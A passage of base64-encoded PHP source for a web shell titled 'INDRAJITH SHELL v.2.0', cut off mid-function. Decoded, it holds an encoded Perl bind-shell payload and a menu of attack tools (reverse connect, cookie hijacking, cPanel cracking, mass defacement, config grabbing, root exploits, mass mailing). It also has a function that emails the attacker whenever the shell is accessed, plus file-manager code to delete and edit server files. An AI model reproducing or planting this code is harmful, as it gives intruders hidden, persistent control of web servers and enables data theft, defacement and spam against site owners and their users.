bmdNb29SK0VTR0E0TTlSNFVlTWcwd3AyTDJleTlwaXJIR3U2dW92NVRBK0YvWHVHZjdwQmVRcW0r
UUJBOHB1L1lQbVVrcGJycjlrT1Q0NUxZTGdXcFh1dUt0UFc3THJIV2ZWeHhqL3VrZi9iNkRLYVV3
NGpHd2JyYnlUYnh0SlBDdWl1Ni9pbVc3cHQrRG9VcjNBdjdoa3R3ME56RWhJa1A2MUtmZ05RdUZE
bk9pSVZoTG5VTkoyWmJnanY4OWdib3hoRnVBR2NSZHowR0tORXRpZHJkVHBnR1RrT0t3WE9PeTE4
PSI7CiRiaW5kX3Blcmw9InJaSmRiNXN3Rklhdmk4Ui9PSFhURlNTbVpKdTJpMGFieEFqdFdBcEVR
THROVllVb09LMVZnaW1tbXFJcS8zMCtkcEttbW5hMStBcS83L0Z6dmpnNkhENkpibmpMbW1GTHV4
cmUvallOMHpqYXg1RVkrUCtqTWVlMG9WM1Iwd29LQVFXMFJkY0RuME1RVFJMM2U1QjlnNUExRE5K
N1d0ZndkUWxLbTg0K2ZockJkUmFmM1d3d2U2bG1QN014alNkQkllWGxBKzNIK3VMeFpzN3U1R1hB
aGNyMkdRWmFlK2FpS1JaMGhWN0x1LzVBT201eWZuVTl1bEZTeDNzdXRUdmFxOC9iSlVaYkozM1pu
dGdZVUM0cWFaTzZyY2dZVXcvRVV2UjBnWnBhdmJqWE9wdGJtSnMrQWduVEg2ejU4SjdZcHZGc0dn
ZnJGN0lrY3V6RllUcnp2V01ZVHZIWlNoRkhXSzNNb3poQ3RXV2xmbkxsSnc3TXp2SWc4ak1IMHRp
YjVtbVcrRzdvZ0M3YkJ0NUJ4U2dRL2VoMGNJaFFRWHU4OC9hRmtzWVhPUUkwS0UvOHk5UjNKeFBw
dEVYNVlKR2FPUERPM3VGdEVhZWdvYkxWYW90RHI2aXFMbWVOcFlicXlOOEplYmtiL2RyQjRLTU5v
R1p5Q00xT1JhSDcwNHVqNkNWYVIyemlUV1BPTzJzc1c4Vk1ja0pGV1ZMWmtuY1IrQkcyb1VEMkdN
cWE0dytnNVBYRWVZdVpza2tRT1VDK3ZORWV3WFZ1cmZneSs2Zm5KOGxmbnQ2aHRkNmxrbFJpbmVi
MVhiSmZDeEtJd3VvUCI7CgovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIFRvcCBNZW51IC0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCgppZigkc2FmZW1vZGU9PSJP
biIpCnsKICAgIGVjaG8gIjxkaXYgaWQ9J2FsZXJ0Jz48YSBjbGFzcz1cImFsZXJ0X3JlZFwiIGhy
ZWY9XCIjYWxlcnRcIj5TYWZlIE1vZGUgOiA8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2E+
PC9kaXY+IjsKfQplbHNlCnsKICAgIGVjaG8gIjxkaXYgaWQ9J2FsZXJ0Jz48YSBjbGFzcz1cImFs
ZXJ0X2dyZWVuXCIgaHJlZj1cIiNhbGVydFwiPlNhZmUgTW9kZSA6IDxmb250IGNvbG9yPXJlZD5P
RkY8L2ZvbnQ+PC9hPjwvZGl2PiI7Cn0KCmVjaG8gIjxzY3JpcHQgc3JjPVwiaHR0cDovL2NvZGUu
anF1ZXJ5LmNvbS9qcXVlcnktbGF0ZXN0LmpzXCI+PC9zY3JpcHQ+PHNjcmlwdD4kKFwiI2FsZXJ0
XCIpLmRlbGF5KDIwMDApLmZhZGVPdXQoMzAwKTs8L3NjcmlwdD4iOwoKZWNobyAiPHRpdGxlPklO
RFJBSklUSCBTSEVMTCB2LjIuMDwvdGl0bGU+PGRpdiBpZD1yZXN1bHQ+Cjx0YWJsZT4KICAgIDx0
Ym9keT4KICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCBzdHlsZT0nYm9yZGVyLXJpZ2h0OjFw
eCBzb2xpZCAjMTA0RThCOycgd2lkdGg9XCIzMDBweDtcIj4KICAgICAgICAgICAgPGRpdiBzdHls
ZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Jz8nIHN0eWxl
PSd0ZXh0LWRlY29yYXRpb246bm9uZTsnPjxoMT5JTkRSQUpJVEg8L2gxPjwvYT48Zm9udCBjb2xv
cj1ibHVlPk1JTkkgU0hFTEw8L2ZvbnQ+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8
L3RkPgogICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJoZWFkZXJcIj5P
UzwvZm9udD4gPGZvbnQgY29sb3I9XCIjNjY2XCIgPjo8L2ZvbnQ+CiAgICAgICAgICAgICIuJG94
LiIgPC9mb250PiA8Zm9udCBjb2xvcj1cIiM2NjZcIiA+fDwvZm9udD4gIi5waHBfdW5hbWUoKS4i
PGJyIC8+CiAgICAgICAgICAgIFlvdXIgSVAgOiA8Zm9udCBjb2xvcj1yZWQ+Ii4keW91cl9pcC4i
PC9mb250PiA8Zm9udCBjb2xvcj1cIiM2NjZcIiA+fDwvZm9udD4gU2VydmVyIElQIDogPGZvbnQg
Y29sb3I9cmVkPiIuJHNydnJfaXAuIjwvZm9udD4gPGZvbnQgY29sb3I9XCIjNjY2XCIgPiB8IDwv
Zm9udD4gQWRtaW4gPGZvbnQgY29sb3I9XCIjNjY2XCIgPiA6IDwvZm9udD4gPGZvbnQgY29sb3I9
cmVkPiB7JGFkbWlufSA8L2ZvbnQ+IDxiciAvPgogICAgICAgICAgICBNeVNRTCA8Zm9udCBjb2xv
cj1cIiM2NjZcIiA+IDogPC9mb250PiI7IGVjaG8gbXlzcWx4KCk7CiAgICAgICAgICAgIGVjaG8g
Ijxmb250IGNvbG9yPVwiIzY2NlwiID4gfCA8L2ZvbnQ+IE9yYWNsZSA8Zm9udCBjb2xvcj1cIiM2
NjZcIiA+IDogPC9mb250PiI7IGVjaG8gb3JhY2xlc3goKTsKICAgICAgICAgICAgZWNobyAiPGZv
bnQgY29sb3I9XCIjNjY2XCIgPiB8IDwvZm9udD4gTVNTUUwgPGZvbnQgY29sb3I9XCIjNjY2XCIg
PiA6IDwvZm9udD4iOyBlY2hvIG1zc3FseCgpOwogICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xv
cj1cIiM2NjZcIiA+IHwgPC9mb250PiBQb3N0R3JleVNRTCA8Zm9udCBjb2xvcj1cIiM2NjZcIiA+
IDogPC9mb250PiI7ZWNobyBwb3N0Z3JleXgoKTsKICAgICAgICAgICAgZWNobyAiPGJyIC8+Y1VS
TCA8Zm9udCBjb2xvcj1cIiM2NjZcIiA+IDogPC9mb250PiI7ZWNobyBjdXJseCgpOwogICAgICAg
ICAgICBlY2hvICI8Zm9udCBjb2xvcj1cIiM2NjZcIiA+IHwgPC9mb250PlRvdGFsIFNwYWNlPGZv
bnQgY29sb3I9XCIjNjY2XCIgPiA6IDwvZm9udD4iOyBlY2hvIGRpc2Nfc2l6ZSgpOwogICAgICAg
ICAgICBlY2hvICI8Zm9udCBjb2xvcj1cIiM2NjZcIiA+IHwgPC9mb250PkZyZWUgU3BhY2U8Zm9u
dCBjb2xvcj1cIiM2NjZcIiA+IDogPC9mb250PiI7IGVjaG8gZnJlZXNpemUoKTsKICAgICAgICAg
ICAgZWNobyAiPGJyIC8+U29mdHdhcmU8Zm9udCBjb2xvcj1cIiM2NjZcIiA+IDogPC9mb250Pjxm
b250IGNvbG9yPXJlZD57JHNydnJfc29mfTwvZm9udD48Zm9udCBjb2xvcj1cIiM2NjZcIiA+IHwg
PC9mb250PiBQSFA8Zm9udCBjb2xvcj1cIiM2NjZcIiA+IDogPC9mb250PjxhIHN0eWxlPSdjb2xv
cjpyZWQ7IHRleHQtZGVjb3JhdGlvbjpub25lOycgdGFyZ2V0PV9ibGFuayBocmVmPT9waHBpbmZv
PiIucGhwdmVyc2lvbigpLiI8L2E+CiAgICAgICAgICAgIDxiciAvPkRpc2FibGVkIEZ1bmN0aW9u
czxmb250IGNvbG9yPVwiIzY2NlwiID4gOiA8L2ZvbnQ+PC9mb250Pjxmb250IGNvbG9yPXJlZD4i
O2VjaG8gZGlzYWJsZWRfZnVuY3RucygpLiI8L2ZvbnQ+PGJyIC8+IjsKICAgICAgICAgICAgaWYo
JG9zID09ICd3aW4nKXsgZWNobyAgIkRyaXZlcyA8Zm9udCBjb2xvcj1cIiM2NjZcIiA+IDogPC9m
b250PiI7ZWNobyAgZHJpdmVzeCgpOyB9CiAgICAgICAgICAgIGVsc2UgeyBlY2hvICJyMDB0IEV4
cGxvaXQgPGZvbnQgY29sb3I9XCIjNjY2XCIgPiA6IDwvZm9udD48Zm9udCBjb2xvcj1yZWQ+Ijsg
ZWNobyByMDB0X2V4cGxvaXQoKSAuIjwvZm9udD4iOyB9CiAgICAgICAgICAgIGVjaG8gIgogICAg
ICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC90ZD4KICAgICAgICA8L3RyPgogICAgPC90Ym9k
eT4KPC90YWJsZT48L2Rpdj4iOwplY2hvICI8ZGl2IGNsYXNzPSdtZW51YmFyJz4gPGRpdiBpZD1c
Im1ldW5saXN0XCI+Cjx1bD4KPGxpPjxhIGhyZWY9XCI/XCI+SE9NRTwvYT48L2xpPgo8bGk+PGEg
aHJlZj1cIj9zeW1saW5rXCI+U3ltTGluazwvYT48L2xpPgo8bGk+PGEgaHJlZj1cIj9yc1wiPigo
KCBDb25uZWN0ICkpKTwvYT48L2xpPgo8bGk+PGEgaHJlZj1cIj9jb29raWVqYWNrXCI+Q29va2ll
IEhpZ2hKYWNrPC9hPjwvbGk+CjxsaT48YSBocmVmPVwiP2VuY29kZWZpbGVcIj5QSFAgRW5jb2Rl
L0RlY29kZTwvYT48L2xpPgo8bGk+PGEgaHJlZj1cIj9wYXRoPXskcGF0aH0mYW1wO3NhZmVfbW9k
XCI+U2FmZSBNb2RlIEZ1Y2tlcjwvYT48L2xpPgo8bGk+PGEgaHJlZj1cIj9wYXRoPXskcGF0aH0m
YW1wO2ZvcmJkX2RpclwiPkRpcmVjdG9yeSBMaXN0aW5nIEZvcmJpZGRlbjwvYT48L2xpPgo8L3Vs
Pgo8dWw+CjxsaT48YSBocmVmPVwiP21hc3NtYWlsZXJcIj5NYXNzIE1haWxlcjwvYT48L2xpPgo8
bGk+PGEgaHJlZj1cIj9jcGFuZWxfY3JhY2tcIj5DUEFORUwgQ3JhY2s8L2E+PC9saT4KPGxpPjxh
IGhyZWY9XCI/c2VydmVyX2V4cGxvaXRfZGV0YWlsc1wiPkV4cGxvaXQgRGV0YWlsczwvYT48L2xp
Pgo8bGk+PGEgaHJlZj1cIj9yZW1vdGVfc2VydmVyX3NjYW5cIj5SZW1vdGUgU2VydmVyIFNjYW48
L2E+PC9saT4KPGxpPjxhIGhyZWY9XCI/cmVtb3RlZmlsZWRvd25cIj5SZW1vdGUgRmlsZSBEb3du
bG9hZGVyPC9hPjwvbGk+CjxsaT48YSBocmVmPVwiP2hleGVuY1wiPkhleGEgRW5jb2RlL0RlY29k
ZTwvYT48L2xpPgo8L3VsPgo8dWw+CjxsaT48YSBocmVmPVwiP3NoMzExX3NjYW5uZXJcIj5TSDNM
TCBTY2FuPC9hPjwvbGk+CjxsaT48YSBocmVmPVwiP3NzaG1hblwiPlNTSCBTaGVsbDwvYT48L2xp
Pgo8bGk+PGEgaHJlZj1cIj9wYXRoPXskcGF0aH0mYzBkZV9pbmplY3RcIj5jMGRlIGluajNjdDwv
YT48L2xpPgo8bGk+PGEgaHJlZj1cIj9mdHBtYW5cIj5GVFAgTWFuYWdlcjwvYT48L2xpPgo8bGk+
PGEgaHJlZj1cIj9mdHBfYW5vbl9zY2FuXCI+RlRQIEFub255bW91cyBBY2Nlc3MgU2NhbjwvYT48
L2xpPgo8bGk+PGEgaHJlZj1cIj9wYXRoPXskcGF0aH0mYW1wO21hc3NfeHBsb2l0XCI+TWFzcyBE
ZWZhY2U8L2E+PC9saT4KPGxpPjxhIGhyZWY9XCI/Y29uZmlnX2dyYWJcIj5Db25maWcgR3JhYmJl
cjwvYT48L2xpPgo8bGk+PGEgaHJlZj1cIj9raWxsbWVcIj48Zm9udCBjb2xvcj1yZWQ+S2lsbCBN
ZTwvZm9udD48L2E+PC9saT4KPC91bD4KPC9kaXY+PC9kaXY+IjsKLyotLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLSBFbmQgb2YgVG9wIE1lbnUgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0qLwoKCi8qLS0tLS0tLS0tLS0tLS0tIEZVTkNUSU9OUyAtLS0tLS0tLS0tLS0tLS0tKi8KZnVu
Y3Rpb24gYWxlcnQoJGFsZXJ0X3R4dCkKewogICAgZWNobyAiPHNjcmlwdD5hbGVydCgnIi4kYWxl
cnRfdHh0LiInKTt3aW5kb3cubG9jYXRpb24uaHJlZj0nPyc7PC9zY3JpcHQ+IjsKfQoKZnVuY3Rp
b24gZGlzYWJsZWRfZnVuY3RucygpCnsKICAgIGlmKCFAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlv
bnMnKSkKICAgIHsKICAgICAgICBlY2hvICJOb25lIjsKICAgIH0KICAgIGVsc2UKICAgIHsKCWVj
aG8gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICB9Cn0KCgpmdW5jdGlvbiBkcml2
ZXN4KCkKewogICAgZm9yZWFjaChyYW5nZSgnQScsJ1onKSBhcyAkZHJpdmUpCiAgICB7CiAgICAg
ICAgaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICI8
YSBzdHlsZT0nY29sb3I6Z3JlZW47IHRleHQtZGVjb3JhdGlvbjpub25lOycgaHJlZj0nP3BhdGg9
Ii4kZHJpdmUuIjpcXCc+WyIuJGRyaXZlLiJdPC9hPiI7IAogICAgICAgIH0KICAgIH0KfQoKZnVu
Y3Rpb24gbWFpbF9hbGVydCgpCnsKICAgIGdsb2JhbCAkZW1haWwsICR5b3VyX2lwOwogICAgJHNo
ZWxsX3BhdGg9Imh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFV
RVNUX1VSSSddOwogICAgJGNvbnRlbnRfbWFpbD0iSGVsbG8gTWFzdGVyLFxuCllvdXIgc2hlbGwg
aW4gJHNoZWxsX3BhdGggaXMgYWNjZXNzZWQgYnkgIi4kX1NFUlZFUlsnUkVNT1RFX0FERFInXSAu
Ii4gSG9wZSBZb3UgRW5qb3kgdGhpcyBzaGVsbCB2ZXJ5IG11Y2guXG4KQnkgSW5kcmFqaXRoIjsK
ICAgIG1haWwoJGVtYWlsLCAiU2hlbGwgQWNjZXNzZWQhISEiLCAkY29udGVudF9tYWlsICwiRnJv
bTppbmRyYWppdGhAc2hlbGwuY29tIik7Cn0KCmZ1bmN0aW9uIGZpbGVzaXpleCgkc2l6ZSkKewog
ICAgaWYgKCRzaXplPj0xMDczNzQxODI0KSRzaXplID0gcm91bmQoKCRzaXplLzEwNzM3NDE4MjQp
ICwyKS4iIEdCIjsKICAgIGVsc2VpZiAoJHNpemU+PTEwNDg1NzYpJHNpemUgPSByb3VuZCgoJHNp
emUvMTA0ODU3NiksMikuIiBNQiI7CiAgICBlbHNlaWYgKCRzaXplPj0xMDI0KSRzaXplID0gcm91
bmQoKCRzaXplLzEwMjQpLDIpLiIgS0IiOwogICAgZWxzZSAkc2l6ZSAuPSAiIEIiOwogICAgcmV0
dXJuICRzaXplOwp9CgpmdW5jdGlvbiBkaXNjX3NpemUoKQp7CiAgICBlY2hvIGZpbGVzaXpleChk
aXNrX3RvdGFsX3NwYWNlKCIvIikpOwp9CgpmdW5jdGlvbiBmcmVlc2l6ZSgpCnsKICAgIGVjaG8g
ZmlsZXNpemV4KGRpc2tfZnJlZV9zcGFjZSgiLyIpKTsKfQoKZnVuY3Rpb24gZmlsZV9wZXJtKCRm
aWx6KXsKCWlmKCRtPWZpbGVwZXJtcygkZmlseikpewoJCSRwPScnOwoJCSRwIC49ICgkbSAmIDAw
NDAwKSA/ICdyJyA6ICctJzsKCQkkcCAuPSAoJG0gJiAwMDIwMCkgPyAndycgOiAnLSc7CgkJJHAg
Lj0gKCRtICYgMDAxMDApID8gJ3gnIDogJy0nOwoJCSRwIC49ICgkbSAmIDAwMDQwKSA/ICdyJyA6
ICctJzsKCQkkcCAuPSAoJG0gJiAwMDAyMCkgPyAndycgOiAnLSc7CgkJJHAgLj0gKCRtICYgMDAw
MTApID8gJ3gnIDogJy0nOwoJCSRwIC49ICgkbSAmIDAwMDA0KSA/ICdyJyA6ICctJzsKCQkkcCAu
PSAoJG0gJiAwMDAwMikgPyAndycgOiAnLSc7CgkJJHAgLj0gKCRtICYgMDAwMDEpID8gJ3gnIDog
Jy0nOwoJCXJldHVybiAkcDsKCX0KCWVsc2UgcmV0dXJuICI/Pz8/PyI7Cn0KCgpmdW5jdGlvbiBt
eXNxbHgoKQp7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkKICAgIHsK
ICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5FbmFibGVkPC9mb250PiI7CiAgICB9CiAg
ICBlbHNlCiAgICB7CiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2dyZWVuJz5EaXNhYmxlZDwv
Zm9udD4iOwogICAgfSAgIAp9CgpmdW5jdGlvbiBvcmFjbGVzeCgpCnsKICAgIGlmKGZ1bmN0aW9u
X2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKICAgIHsKICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0n
cmVkJz5FbmFibGVkPC9mb250PiI7CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICAgZWNobyAi
PGZvbnQgY29sb3I9J2dyZWVuJz5EaXNhYmxlZDwvZm9udD4iOwogICAgfQp9CgpmdW5jdGlvbiBt
c3NxbHgoKQp7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKICAgIHsK
ICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5FbmFibGVkPC9mb250PiI7CiAgICB9CiAg
ICBlbHNlCiAgICB7CiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2dyZWVuJz5EaXNhYmxlZDwv
Zm9udD4iOwogICAgfSAgIAp9CgpmdW5jdGlvbiBwb3N0Z3JleXgoKQp7CiAgICBpZihmdW5jdGlv
bl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkKICAgIHsKICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0n
cmVkJz5FbmFibGVkPC9mb250PiI7CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICAgZWNobyAi
PGZvbnQgY29sb3I9J2dyZWVuJz5EaXNhYmxlZDwvZm9udD4iOwogICAgfSAKfQoKZnVuY3Rpb24g
c3RyaXAoJGZpbHgpCnsKICAgIGlmKCFnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSByZXR1cm4gdHJp
bSh1cmxkZWNvZGUoJGZpbHgpKTsKICAgIHJldHVybiB0cmltKHVybGRlY29kZShzdHJpcHNsYXNo
ZXMoJGZpbHgpKSk7Cn0KCmZ1bmN0aW9uIGN1cmx4KCkKewogICAgaWYoZnVuY3Rpb25fZXhpc3Rz
KCdjdXJsX3ZlcnNpb24nKSkKICAgIHsKICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5F
bmFibGVkPC9mb250PiI7CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICAgZWNobyAiPGZvbnQg
Y29sb3I9J2dyZWVuJz5EaXNhYmxlZDwvZm9udD4iOwogICAgfSAKfQoKZnVuY3Rpb24gZmlsZXNp
emVfeCgkZmlsZXgpCnsKICAgICRmX3NpemU9ZmlsZXNpemV4KGZpbGVzaXplKCRmaWxleCkpOwog
ICAgcmV0dXJuICRmX3NpemU7Cn0KCmZ1bmN0aW9uIHJlbmFtZV91aSgpCnsKICAgICRyZl9wYXRo
PSRfR0VUWydyZW5hbWUnXTsKICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPlJl
bmFtZTwvaDI+PGhyIC8+PHA+PGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9kPSdHRVQnPjxpbnB1dCB0
eXBlPWhpZGRlbiBuYW1lPSdvbGRfbmFtZScgc2l6ZT0nNDAnIHZhbHVlPSIuJHJmX3BhdGguIj5O
ZXcgTmFtZSA6IDxpbnB1dCBuYW1lPSduZXdfbmFtZScgc2l6ZT0nNDAnIHZhbHVlPSIuYmFzZW5h
bWUoJHJmX3BhdGgpLiI+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgID4+PiAgICcgLz48
L2Zvcm0+PC9wPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPjwvY2VudGVyPjwvZGl2PiI7
Cn0KCmZ1bmN0aW9uIGZpbGVtYW5hZ2VyX2JnKCkKewogICAgZ2xvYmFsICRzZXAsICRzZWxmOwog
ICAgJHBhdGg9IWVtcHR5KCRfR0VUWydwYXRoJ10pPyRfR0VUWydwYXRoJ106Z2V0Y3dkKCk7CiAg
ICAkZGlycz1hcnJheSgpOwogICAgJGZpbHM9YXJyYXkoKTsKICAgIGlmKGlzX2RpcigkcGF0aCkp
CiAgICB7CiAgICAgICAgY2hkaXIoJHBhdGgpOwogICAgICAgIGlmKCRoYW5kbGU9b3BlbmRpcigk
cGF0aCkpCiAgICAgICAgewogICAgICAgICAgICB3aGlsZSgoJGl0ZW09cmVhZGRpcigkaGFuZGxl
KSkhPT1GQUxTRSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYoJGl0ZW09PSIuIil7
Y29udGludWU7fQogICAgICAgICAgICAgICAgaWYoJGl0ZW09PSIuLiIpe2NvbnRpbnVlO30KICAg
ICAgICAgICAgICAgIGlmKGlzX2RpcigkaXRlbSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAg
ICAgICAgICAgICAgYXJyYXlfcHVzaCgkZGlycywgJHBhdGguJHNlcC4kaXRlbSk7CiAgICAgICAg
ICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAg
ICAgICAgICAgICAgYXJyYXlfcHVzaCgkZmlscywgJHBhdGguJHNlcC4kaXRlbSk7CiAgICAgICAg
ICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsK
ICAgICAgICAgICAgYWxlcnQoIkFjY2VzcyBEZW5pZWQgZm9yIHRoaXMgb3BlcmF0aW9uIik7CiAg
ICAgICAgfQogICAgfQogICAgZWxzZQogICAgewogICAgICAgIGFsZXJ0KCJEaXJlY3RvcnkgTm90
IEZvdW5kISEhIik7CiAgICB9CiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48dGFibGUgY2xhc3M9
dGFibGU+CiAgICA8dHI+CiAgICA8dGggd2lkdGg9JzUwMHB4Jz5OYW1lPC90aD4KICAgIDx0aCB3
aWR0aD0nMTAwcHgnPlNpemU8L3RoPgogICAgPHRoIHdpZHRoPScxMDBweCc+UGVybWlzc2lvbnM8
L3RoPgogICAgPHRoIHdpZHRoPSc1MDBweCc+QWN0aW9uczwvdGg+CiAgICA8L3RyPiI7CiAgICBm
b3JlYWNoKCRkaXJzIGFzICRkaXIpCiAgICB7CiAgICAgICAgZWNobyAiPHRyPjx0ZD48YSBocmVm
PSd7JHNlbGZ9P3BhdGg9eyRkaXJ9Jz4iLmJhc2VuYW1lKCRkaXIpLiI8L2E+PC90ZD4KICAgICAg
ICAgICAgICA8dGQ+Ii5maWxlc2l6ZV94KCRkaXIpLiI8L3RkPgogICAgICAgICAgICAgIDx0ZD48
YSBocmVmPSd7JHNlbGZ9P3BhdGg9eyRwYXRofSZhbXA7cGVybT17JGRpcn0nPiIuZmlsZV9wZXJt
KCRkaXIpLiI8L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGEgaHJlZj0neyRzZWxmfT9wYXRo
PXskcGF0aH0mYW1wO2RlbF9kaXI9eyRkaXJ9Jz5EZWxldGU8L2E+IHwgPGEgaHJlZj0neyRzZWxm
fT9wYXRoPXskcGF0aH0mYW1wO3JlbmFtZT17JGRpcn0nPlJlbmFtZTwvYT48L3RkPjwvdHI+IjsK
ICAgIH0KICAgIGZvcmVhY2goJGZpbHMgYXMgJGZpbCkKICAgIHsKICAgICAgICBlY2hvICI8dHI+
PHRkPjxhIGhyZWY9J3skc2VsZn0/cGF0aD17JHBhdGh9JmFtcDtyZWFkPXskZmlsfSc+Ii5iYXNl
bmFtZSgkZmlsKS4iPC9hPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiIuZmlsZXNpemVfeCgkZmls
KS4iPC90ZD4KICAgICAgICAgICAgICA8dGQ+PGEgaHJlZj0neyRzZWxmfT9wYXRoPXskcGF0aH0m
YW1wO3Blcm09eyRmaWx9Jz4iLmZpbGVfcGVybSgkZmlsKS4iPC9hPjwvdGQ+CiAgICAgICAgICAg
ICAgPHRkPjxhIGhyZWY9J3skc2VsZn0/cGF0aD17JHBhdGh9JmFtcDtkZWxfZmlsPXskZmlsfSc+
RGVsZXRlPC9hPiB8IDxhIGhyZWY9J3skc2VsZn0/cGF0aD17JHBhdGh9JmFtcDtyZW5hbWU9eyRm
aWx9Jz5SZW5hbWU8L2E+IHwgPGEgaHJlZj0neyRzZWxmfT9wYXRoPXskcGF0aH0mYW1wO2VkaXQ9
eyRmaWx9Jz5FZGl0PC9hPiB8IDxhIGhyZWY9J3skc2VsZn0/cGF0aD17JHBhdGh9JmFtcDtjb3B5
PXskZmlsfSc+Q29weTwvYT4gIDwvdGQ+IjsKICAgIH0KICAgIGVjaG8gIjwvdHI+PC90YWJsZT48
L2Rpdj4iOwp9CgpmdW5jdGlvbiByZW5hbWVfYmcoKQp7CiAgICBpZihpc3NldCgkX0dFVFsnb2xk
X25hbWUnXSkgJiYgaXNzZXQoJF9HRVRbJ25ld19uYW1lJ10pKQogICAgewogICAgICAgICRvX3Jf
cGF0aD1iYXNlbmFtZSgkX0dFVFsnb2xkX25hbWUnXSk7CiAgICAgICAgJHJfcGF0aD1zdHJfcmVw
bGFjZSgkb19yX3BhdGgsICIiLCAkX0dFVFsnb2xkX25hbWUnXSk7CiAgICAgICAgJHJfbmV3X25h
bWU9JHJfcGF0aC4kX0dFVFsnbmV3X25hbWUnXTsKICAgICAgICBlY2hvICRyX25ld19uYW1lOwog
ICAgICAgIGlmKHJlbmFtZSgkX0dFVFsnb2xkX25hbWUnXSwgJHJfbmV3X25hbWUpPT1GQUxTRSkK
ICAgICAgICB7CiAgICAgICAgICAgIGFsZXJ0KCJBY2Nlc3MgRGVuaWVkIGZvciB0aGlzIGFjdGlv
biEhISIpOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICBhbGVy
dCgiUmVuYW1lZCBGaWxlIFN1Y2NlZXNzZnVsbHkiKTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0
aW9uIGVkaXRfZmlsZSgpCnsKICAgICRwYXRoPSRfR0VUWydwYXRoJ107CiAgICBjaGRpcigkcGF0
aCk7CiAgICAkZWR0X2ZpbGU9JF9HRVRbJ2VkaXQnXTsKICAgICRlX2NvbnRlbnQgPSB3b3Jkd3Jh
cChodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRlZHRfZmlsZSkpKTsKICAgIGlm
KCRlX2NvbnRlbnQpCiAgICB7CiAgICAgICAgJG9fY29udGVudD0kZV9jb250ZW50OwogICAgfQog
ICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdm
b3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKQogICAgewogICAgICAgICRmZCA9IGZv
cGVuKCRlZHRfZmlsZSwgInJiIik7CglpZighJGZkKQogICAgICAgIHsKICAgICAgICAgICAgYWxl
cnQoIlBlcm1pc3Npb24gRGVuaWVkIik7CiAgICAgICAgfQoJZWxzZQogICAgICAgIHsKICAgICAg
ICAgICAgd2hpbGUoIWZlb2YoJGZkKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJG9f
Y29udGVudD13b3Jkd3JhcChodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRmZCkpKTsKICAgICAgICAg
ICAgfQogICAgICAgIH0KICAgICAgICBmY2xvc2UoJGZkKTsKICAgIH0KICAgIGVjaG8gIjxkaXYg
aWQ9J3Jlc3VsdCc+PGNlbnRlcj48aDI+RWRpdCBGaWxlPC9oMj48aHIgLz48L2NlbnRlcj48YnIg
Lz48Zm9udCBjb2xvcj1yZWQ+VmlldyBGaWxlPC9mb250PiA6IDxmb250IGNvbG9yPWdyZWVuPjxh
IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246bm9uZTsgY29sb3I6Z3JlZW47JyBocmVmPSc/cmVhZD0i
LiRfR0VUWydlZGl0J10uIic+Ii4gIGJhc2VuYW1lKCRfR0VUWydlZGl0J10pICAuIjwvYT48YnIg
Lz48YnIgLz48aHIgLz48YnIgLz48L2ZvbnQ+PGZvcm0gbWV0aG9kPSdQT1NUJz48aW5wdXQgdHlw
ZT0naGlkZGVuJyBuYW1lPSdlX2ZpbGUnIHZhbHVlPSIuJF9HRVRbJ2VkaXQnXS4iPgogICAgICAg
